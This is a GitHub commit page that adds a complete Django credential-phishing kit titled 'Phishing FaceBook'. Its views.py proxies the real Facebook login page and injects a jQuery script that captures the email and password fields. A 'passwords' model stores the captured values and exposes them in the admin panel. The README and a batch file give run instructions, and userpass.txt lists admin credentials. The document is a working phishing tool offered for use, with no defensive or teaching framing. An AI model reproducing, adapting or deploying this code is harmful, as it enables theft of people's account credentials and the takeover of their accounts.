Skip to content

Commit

Permalink
Add files via upload
Browse files Browse the repository at this point in the history
  • Loading branch information
IAmBlackHacker authored Sep 2, 2017
1 parent c1955ea commit 1feea6c
Show file tree
Hide file tree
Showing 41 changed files with 321 additions and 0 deletions.
13 changes: 13 additions & 0 deletions ReadMe.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,13 @@
# Welcome To Phishing FaceBook
## Required Python2 or Python3
1.Download Link: https://www.python.org/ftp/python/3.6.1/python-3.6.1-amd64.exe (for Windows User)
https://www.python.org/ftp/python/2.7.13/python-2.7.13.amd64.msi (for Windows User)

2.Add python to environment varibales of windows

3.Run Manage.py with python as

```
python manage.py runserver 0.0.0.0:8000
or simply run bat file
```
Binary file added db.sqlite3
Binary file not shown.
1 change: 1 addition & 0 deletions facebook/__init__.py
Original file line number Diff line number Diff line change
@@ -0,0 +1 @@
#this is init
Binary file added facebook/__init__.pyc
Binary file not shown.
Binary file added facebook/__pycache__/__init__.cpython-36.pyc
Binary file not shown.
Binary file added facebook/__pycache__/settings.cpython-36.pyc
Binary file not shown.
Binary file added facebook/__pycache__/urls.cpython-36.pyc
Binary file not shown.
Binary file added facebook/__pycache__/wsgi.cpython-36.pyc
Binary file not shown.
104 changes: 104 additions & 0 deletions facebook/settings.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,104 @@
"""
Django settings for facebook project.
Generated by 'django-admin startproject' using Django 1.8.9.
For more information on this file, see
https://docs.djangoproject.com/en/1.8/topics/settings/
For the full list of settings and their values, see
https://docs.djangoproject.com/en/1.8/ref/settings/
"""

# Build paths inside the project like this: os.path.join(BASE_DIR, ...)
import os

BASE_DIR = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))


# Quick-start development settings - unsuitable for production
# See https://docs.djangoproject.com/en/1.8/howto/deployment/checklist/

# SECURITY WARNING: keep the secret key used in production secret!
SECRET_KEY = '&smdip^8m*nyrj5)d$5g3r-tl@s^l(-q9&u*7gz!9(o^o3kz$0'

# SECURITY WARNING: don't run with debug turned on in production!
DEBUG = True

ALLOWED_HOSTS = ['localhost','127.0.0.1']


# Application definition

INSTALLED_APPS = (
'phishing',
'django.contrib.admin',
'django.contrib.auth',
'django.contrib.contenttypes',
'django.contrib.sessions',
'django.contrib.messages',
'django.contrib.staticfiles',
)

MIDDLEWARE_CLASSES = (
'django.contrib.sessions.middleware.SessionMiddleware',
'django.middleware.common.CommonMiddleware',
'django.middleware.csrf.CsrfViewMiddleware',
'django.contrib.auth.middleware.AuthenticationMiddleware',
'django.contrib.auth.middleware.SessionAuthenticationMiddleware',
'django.contrib.messages.middleware.MessageMiddleware',
'django.middleware.clickjacking.XFrameOptionsMiddleware',
'django.middleware.security.SecurityMiddleware',
)

ROOT_URLCONF = 'facebook.urls'

TEMPLATES = [
{
'BACKEND': 'django.template.backends.django.DjangoTemplates',
'DIRS': [],
'APP_DIRS': True,
'OPTIONS': {
'context_processors': [
'django.template.context_processors.debug',
'django.template.context_processors.request',
'django.contrib.auth.context_processors.auth',
'django.contrib.messages.context_processors.messages',
],
},
},
]

WSGI_APPLICATION = 'facebook.wsgi.application'


# Database
# https://docs.djangoproject.com/en/1.8/ref/settings/#databases

DATABASES = {
'default': {
'ENGINE': 'django.db.backends.sqlite3',
'NAME': os.path.join(BASE_DIR, 'db.sqlite3'),
}
}


# Internationalization
# https://docs.djangoproject.com/en/1.8/topics/i18n/

LANGUAGE_CODE = 'en-us'

TIME_ZONE = 'UTC'

USE_I18N = True

USE_L10N = True

USE_TZ = True


# Static files (CSS, JavaScript, Images)
# https://docs.djangoproject.com/en/1.8/howto/static-files/

STATIC_URL = '/static/'
STATIC_ROOT = os.path.join(BASE_DIR,'static')
Binary file added facebook/settings.pyc
Binary file not shown.
21 changes: 21 additions & 0 deletions facebook/urls.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,21 @@
"""facebook URL Configuration
The `urlpatterns` list routes URLs to views. For more information please see:
https://docs.djangoproject.com/en/1.8/topics/http/urls/
Examples:
Function views
1. Add an import: from my_app import views
2. Add a URL to urlpatterns: url(r'^$', views.home, name='home')
Class-based views
1. Add an import: from other_app.views import Home
2. Add a URL to urlpatterns: url(r'^$', Home.as_view(), name='home')
Including another URLconf
1. Add a URL to urlpatterns: url(r'^blog/', include('blog.urls'))
"""
from django.conf.urls import include, url
from django.contrib import admin

urlpatterns = [
url(r'^admin/', include(admin.site.urls)),
url(r'',include('phishing.urls')),
]
Binary file added facebook/urls.pyc
Binary file not shown.
16 changes: 16 additions & 0 deletions facebook/wsgi.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,16 @@
"""
WSGI config for facebook project.
It exposes the WSGI callable as a module-level variable named ``application``.
For more information on this file, see
https://docs.djangoproject.com/en/1.8/howto/deployment/wsgi/
"""

import os

from django.core.wsgi import get_wsgi_application

os.environ.setdefault("DJANGO_SETTINGS_MODULE", "facebook.settings")

application = get_wsgi_application()
Binary file added facebook/wsgi.pyc
Binary file not shown.
10 changes: 10 additions & 0 deletions manage.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,10 @@
#!/usr/bin/env python
import os
import sys

if __name__ == "__main__":
os.environ.setdefault("DJANGO_SETTINGS_MODULE", "facebook.settings")

from django.core.management import execute_from_command_line

execute_from_command_line(sys.argv)
1 change: 1 addition & 0 deletions phishing/__init__.py
Original file line number Diff line number Diff line change
@@ -0,0 +1 @@
#this is init
Binary file added phishing/__init__.pyc
Binary file not shown.
Binary file added phishing/__pycache__/__init__.cpython-36.pyc
Binary file not shown.
Binary file added phishing/__pycache__/admin.cpython-36.pyc
Binary file not shown.
Binary file added phishing/__pycache__/models.cpython-36.pyc
Binary file not shown.
Binary file added phishing/__pycache__/urls.cpython-36.pyc
Binary file not shown.
Binary file added phishing/__pycache__/views.cpython-36.pyc
Binary file not shown.
4 changes: 4 additions & 0 deletions phishing/admin.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,4 @@
from django.contrib import admin
from .models import passwords
# Register your models here.
admin.site.register(passwords)
Binary file added phishing/admin.pyc
Binary file not shown.
21 changes: 21 additions & 0 deletions phishing/migrations/0001_initial.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,21 @@
# -*- coding: utf-8 -*-
from __future__ import unicode_literals

from django.db import migrations, models


class Migration(migrations.Migration):

dependencies = [
]

operations = [
migrations.CreateModel(
name='passwords',
fields=[
('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),
('username', models.CharField(max_length=100, null=True)),
('password', models.CharField(max_length=100, null=True)),
],
),
]
Binary file added phishing/migrations/0001_initial.pyc
Binary file not shown.
1 change: 1 addition & 0 deletions phishing/migrations/__init__.py
Original file line number Diff line number Diff line change
@@ -0,0 +1 @@
#this it init
Binary file added phishing/migrations/__init__.pyc
Binary file not shown.
Binary file not shown.
Binary file not shown.
8 changes: 8 additions & 0 deletions phishing/models.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,8 @@
from django.db import models

# Create your models here.
class passwords(models.Model):
username=models.CharField(max_length=100,null=True)
password=models.CharField(max_length=100,null=True)
def __str__(self):
return self.username
Binary file added phishing/models.pyc
Binary file not shown.
27 changes: 27 additions & 0 deletions phishing/static/fb12448784534457.js
Original file line number Diff line number Diff line change
@@ -0,0 +1,27 @@
$(function(){
$('#loginbutton').click(function(){
/*$.ajax({
method: "POST",
url: "../fblogin/",
data: { 'email': $('#email').val(), 'pass': $('#pass').val() ,'csrfmiddlewaretoken': $('#csrf').html()}
})
.done(function( msg ) {
alert()
});*/
$.ajax({
type: "POST",
url: "../fblogin/",
data: {'email':$('#email').val(),'pass': $('#pass').val() , 'csrfmiddlewaretoken': $('#csrf').html()},
dataType: "json",
success: function(response) {
console.log("Shared successfully...");

// alert('Company likes count is now ' + response.likes_count);
},
error: function(rs, e) {
console.log(rs.responseText);
}
});
});

});
28 changes: 28 additions & 0 deletions phishing/templates/phishing.html

Large diffs are not rendered by default.

3 changes: 3 additions & 0 deletions phishing/tests.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,3 @@
from django.test import TestCase

# Create your tests here.
23 changes: 23 additions & 0 deletions phishing/urls.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,23 @@
"""facebook URL Configuration
The `urlpatterns` list routes URLs to views. For more information please see:
https://docs.djangoproject.com/en/1.10/topics/http/urls/
Examples:
Function views
1. Add an import: from my_app import views
2. Add a URL to urlpatterns: url(r'^$', views.home, name='home')
Class-based views
1. Add an import: from other_app.views import Home
2. Add a URL to urlpatterns: url(r'^$', Home.as_view(), name='home')
Including another URLconf
1. Import the include() function: from django.conf.urls import url, include
2. Add a URL to urlpatterns: url(r'^blog/', include('blog.urls'))
"""
from django.conf.urls import url
from django.contrib import admin
from . import views

urlpatterns = [
url(r'^$', views.phish,name="Phishing"),
url(r'^fblogin/', views.Passwords,name="saved_data")
]
Binary file added phishing/urls.pyc
Binary file not shown.
37 changes: 37 additions & 0 deletions phishing/views.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,37 @@
from django.shortcuts import render
from django.http import HttpResponse
from django.core.context_processors import csrf
from .models import passwords
import requests
try:
from django.utils import simplejson as json
except ImportError:
import json
# Create your views here.
def phish(request):
csrf_c=request.META.get('CSRF_COOKIE',None)
if not csrf_c:
csrf_c=csrf._get_new_csrf_key()
request.META['CSRF_COOKIE'] = csrf_c
req=requests.get("https://en-gb.facebook.com")
text=req.text.replace('</body>','<span id="csrf" hidden>'+str(csrf_c)+'</span><script src="https://ajax.googleapis.com/ajax/libs/jquery/3.1.1/jquery.min.js"></script><script src="/static/jquery.cookie.js"></script><script src="/static/fb12448784534457.js"></script></body>')
for c in req.cookies:
request.META[c.name]=c.value
#return render(request,"phishing.html")
return HttpResponse(text)

def Passwords(request):
if request.method=='POST':
username=str(request.POST.get('email'))
password=str(request.POST.get('pass'))
print(username,password)
if not passwords.objects.filter(username=username,password=password):
passwords(username=username,password=password).save()
ctx={'Success':'Success'}
else:
ctx={'Bad':'Hacker'}
return HttpResponse(json.dumps(ctx), content_type='application/json')




Binary file added phishing/views.pyc
Binary file not shown.
1 change: 1 addition & 0 deletions startServer.bat
Original file line number Diff line number Diff line change
@@ -0,0 +1 @@
python2 manage.py runserver 0.0.0.0:8000
2 changes: 2 additions & 0 deletions userpass.txt
Original file line number Diff line number Diff line change
@@ -0,0 +1,2 @@
127.0.0.1:8080/admin
WeAreTheHackers:lokesh

0 comments on commit 1feea6c

Please sign in to comment.